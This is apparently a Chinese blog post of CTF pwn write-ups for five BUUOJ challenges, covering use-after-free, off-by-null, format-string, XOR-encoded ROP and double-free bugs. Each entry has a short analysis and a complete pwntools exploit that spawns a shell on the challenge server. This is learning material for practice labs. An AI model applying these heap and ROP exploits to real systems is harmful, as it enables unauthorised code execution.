buuoj Pwn writeup 176-180

176 jarvisoj_itemboard

在这里插入图片描述在这里插入图片描述
进来先申请了一块chunk。

add
在这里插入图片描述在这里插入图片描述

结构简单,但是用了buf做缓冲,在description那里有明显溢出。

list
在这里插入图片描述只支持输出名字。

show
在这里插入图片描述输出细节

free
在这里插入图片描述

但是没有清理指针,造成uaf。

我们就直接通过uaf做就好了。
这道题的uaf也不大一样,以前我们的uaf都很随意,只是用到fastbin chunk而已,但是在这个题里面,因为没有edit函数,导致我们不能即使修改了chunk指针,也因为没法覆写导致不能劫持got表,于是我们在这个题的uaf中引入了全新的unsorted bin。

思路是这样的。
因为chunk中有一个是free函数,所以我们只要把他覆盖掉,覆盖成system就好。我们还需要泄露libc地址,我们可以通过泄露got表,也可以简单点用unsorted bin。

exp

from pwn import *

context.log_level="debug"

r = remote("node3.buuoj.cn", 28946)

elf = ELF("./176")
libc = ELF("./64/libc-2.23.so")

def add(name,num,data):
    r.sendlineafter('choose:\n', '1')
    r.sendlineafter('Item name?\n', name)
    r.sendlineafter("Description's len?\n", str(num))
    r.sendlineafter('Description?\n', data)

def show(index):
    r.sendlineafter('choose:\n', '3')
    r.sendlineafter('Which item?\n', str(index))

def remove(i):
    r.sendlineafter('choose:\n', '4')
    r.sendlineafter('Which item?\n', str(i))
    
add('a'*16,128,'a'*16) #0
add('b'*16,128,'b'*16) #1
add('c'*16,128,'c'*16) #2
remove(0)
show(0)
r.recvuntil('Description:')

main_arena_88 = u64(r.recv(6).ljust(8, "\x00"))
malloc_hook = (main_arena_88 & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_addr= malloc_hook - libc.sym['__malloc_hook']
system_addr = libc_addr + libc.sym['system']
print 'libc_addr = ',hex(libc_addr)

remove(1)
add('c'*16,24,'/bin/sh;aaaaaaaa'+p64(system_addr))
remove(0)

r.interactive()

177 asis2016_b00ks

在这里插入图片描述在这里插入图片描述
进来首先能往bss上读个名字。

在这里插入图片描述
要注意这种自己写的read函数,像这个函数里面就有明显的off by null漏洞。

在这里插入图片描述add里面这两个地方,name跟description都可以溢出。

在这里插入图片描述
在这里插入图片描述
结构简单。

delete
在这里插入图片描述
指针啥的都清理干净了。

edit
在这里插入图片描述
把内容改改。

print

在这里插入图片描述把乱七八糟东西都输出

在这里插入图片描述把之前bss上面的东西改改。

所以我们就通过off by null造吧,看怎么整。

先来好好瞅瞅结构
在这里插入图片描述很清晰,bss上面两个地址,两个地址又指向bss,一个名字,一个addr_array。
每次create就是三个chunk,其中信息都放在第三个chunk中,分别是序号,两个地址,des的大小。

漏洞是哪里的输入都可以有一个off by null。我们的第一想法是因为地址其实都在bss上面,而且堆的写功能也有,能不能通过unlink控制到bss,从而达到利用效果。
但是问题就是需要我们泄露地址,泄露栈地址。泄露不了。
我们考虑去制造overlap去攻击malloc_hook,但是因为在栈上的数据不满足我们one_gadget的要求,而且我们再怎么去通过realloc去抬栈,都没有用,所以这个方式也行不通

我们在这道题可以去利用off by one,通过写名字的时候多写一个字节,讲addr_array的最后一字节改成’\x00’,然后要事先在我们改好的地址那个地方实现伪造一个chunk,从而达到泄露地址,利用等等目的。最后我们选择泄露地址之后将free_hook改正system来达到目的。

# -*- coding: utf-8 -*-
from pwn import*

r = remote("node3.buuoj.cn", "29424")

#r = process("./1771")
context.log_level = "debug"

elf = ELF("./1771")
libc = ELF("./64/libc-2.23.so")
#libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6")

def add(name_size,name,content_size,content):
    r.sendlineafter('> ', '1')
    r.sendlineafter('size: ', str(name_size))
    r.sendlineafter('chars): ', name)
    r.sendlineafter('size: ', str(content_size))
    r.sendlineafter('tion: ', content)
    
def delete(index):
    r.sendlineafter('> ','2')
    r.sendlineafter('delete: ', str(index))
    
def edit(index,content):
    r.sendlineafter('> ','3')
    r.sendlineafter('edit: ', str(index))
    r.sendlineafter('ption: ', content)
    
def show():
    r.sendlineafter('> ', '4')
    
def change(name):
    r.sendlineafter('> ','5')
    r.sendlineafter('name: ', name)

r.sendlineafter('name: ','a'*0x1f+'b')
add(0xd0,'aaaaaaaa',0x20,'bbbbbbbb') #1
show()
r.recvuntil('aaab')
heap_addr = u64(r.recv(6).ljust(8,'\x00'))
print "heap_addr = " + hex(heap_addr)

add(0x80,'cccccccc',0x60,'dddddddd') #2
add(0x10,'eeeeeeee',0x10,'ffffffff') #3
delete(2)   

edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x30+0x90 + 0xe0 + 0x10)+p64(0x20))
change('a'*0x20)

show()
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00')) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.symbols['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
print "libc_addr = " + hex(libc_base)
print "malloc_hook = " + hex(malloc_hook)

edit(1,p64(free_hook)+p64(0x8))
edit(3,p64(system_addr))


add(0x60,'/bin/sh\x00',0x60,'/bin/sh\x00')

delete(4)

r.interactive()

178 actf_2019_onerepeater

在这里插入图片描述
在这里插入图片描述有格式化字符串。

要注意返回的时候调用规则跟平常的不大一样。
在这里插入图片描述我们的思路就是给了栈地址,就计算出返回地址,通过格式化字符串讲返回地址改成栈地址之后,讲shellcode写进栈里,跳过去执行。

因为是32位的,我们结合着模板,就搞定了。

from pwn import *                                                                 
                                                                                  
context.log_level = "debug"                         
                                       
r = remote("node3.buuoj.cn","28488")                                             
                                                                                  
r.sendlineafter("3) Exit\n","1")                                                 
                                                                                  
stack_addr = int((r.recv(8)), 16)                                    
print "stack_addr = " + hex(stack_addr)                                                                                                                                                                                                          
ret_addr = stack_addr + 0x418 + 4        

payload = fmtstr_payload(16{ret_addr:stack_addr})  
r.sendline(payload)
                 
r.sendlineafter("3) Exit\n","2")
                 
r.sendlineafter("3) Exit\n","1")                                             
r.sendline(asm(shellcraft.sh()))       

r.sendlineafter("3)Exit\n","3")                                                
r.interactive()                                                              

179 ciscn_2019_s_8

在这里插入图片描述在这里插入图片描述
先读入了0x200.

在这里插入图片描述然后strcpy导致了溢出。

但是下面会对我们的输入进行异或操纵,所以我们输入rop的时候要先进行一下异或。

我们写rop也可以用ROPgadget

ROPgadget --binary ./179 --ropchain

from pwn import *
from struct import pack

context.log_level='debug'

def encrypt(data):
    crypto = ''
    for i in data:
        crypto += chr(ord(i) ^ 0x66)
    return crypto

r = remote('node3.buuoj.cn','26395')

def payload():
        p = 'a' * 0x50

        p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
        p += pack('<Q', 0x00000000006ba0e0) # @ .data
        p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret
        p += '/bin//sh'
        p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
        p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
        p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
        p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
        p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
        p += pack('<Q', 0x00000000004006e6) # pop rdi ; ret
        p += pack('<Q', 0x00000000006ba0e0) # @ .data
        p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
        p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
        p += pack('<Q', 0x0000000000449bf5) # pop rdx ; ret
        p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
        p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
        p += pack('<Q', 0x000000000040139c) # syscall

        return p

payload = payload()
r.sendline(encrypt(payload))
r.interactive()

我们发现这样的exp有问题,找到问题后发现是因为我们的payload太长了……
怎样缩短呢?我们可以考虑从最后面的add rax,1尝试下手。

在这里插入图片描述

我们找到了add eax,3, 所以我们就把payload里面替换一下就行。

from pwn import *
from struct import pack

context.log_level='debug'

def encrypt(data):
    crypto = ''
    for i in data:
        crypto += chr(ord(i) ^ 0x66)
    return crypto

r = remote('node3.buuoj.cn','26395')

def payload():
    p = 'a'*0x50
    p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
    p += pack('<Q', 0x00000000006ba0e0) # @ .data
    p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret
    p += '/bin//sh'
    p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
    p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
    p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
    p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
    p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret
    p += pack('<Q', 0x00000000004006e6) # pop rdi ; ret
    p += pack('<Q', 0x00000000006ba0e0) # @ .data
    p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret
    p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
    p += pack('<Q', 0x0000000000449bf5) # pop rdx ; ret
    p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8
    p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret
    p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
    p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
    p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
    p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
    p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
    p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
    p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
    p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
    p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
    p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
    p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
    p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
    p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
    p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
    p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
    p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
    p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
    p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
    p += pack('<Q', 0x0000000000474c11) # add rax, 3 ; ret
    p += pack('<Q', 0x0000000000474bf8) # add rax, 2 ; ret
    p += pack('<Q', 0x000000000040139c) # syscall
    return p

payload = payload()

r.sendline(encrypt(payload))

r.interactive()

180 starctf_2019_girlfriend

在这里插入图片描述在这里插入图片描述

在这里插入图片描述构造结果。

show
在这里插入图片描述
输出名字 电话

在这里插入图片描述edit没啥用。

delete
在这里插入图片描述
直接造成了uaf。

我们就是通过uaf常规思路,泄露地址,然后利用起来。
通过double free,攻击malloc_hook - 0x23,再调整栈结构。

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = "debug"

r = remote('node3.buuoj.cn',29601)
#r = process("./180")
elf=ELF('./180')

libc = ELF("./64/libc-2.23.so")

def add(size,name):
        r.sendlineafter(':','1')
	r.sendlineafter('name',str(size))
	r.sendlineafter('name:',name)
	r.sendlineafter('call:',"123456")

def show(idx):
	r.sendlineafter(':','2')
	r.sendlineafter('index:',str(idx))

def delete(idx):
        r .sendlineafter(':','4')
        r .sendlineafter('index:',str(idx))

add(0x80,'aaaa') #0
add(0x68,'aaaa') #1
add(0x68,'aaaa') #2
add(0x20,'aaaa') #3
delete(0)
show(0)
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00')) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
one_gadget = libc_base + 0xf1147
realloc = libc_base + libc.sym['__libc_realloc']
print "libc_base = " + hex(libc_base)

add(0x80,'aaaa')#0
delete(1)
delete(2)
delete(1)
#double free

add(0x68,p64(malloc_hook-0x23))
add(0x68, 'aaaa')
add(0x68, 'aaaa')
add(0x68, 'a' * 0xb + p64(one_gadget) + p64(realloc + 2))

r.sendlineafter(':','1') #这里只能写一句,不然会报错。

r.interactive()
  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值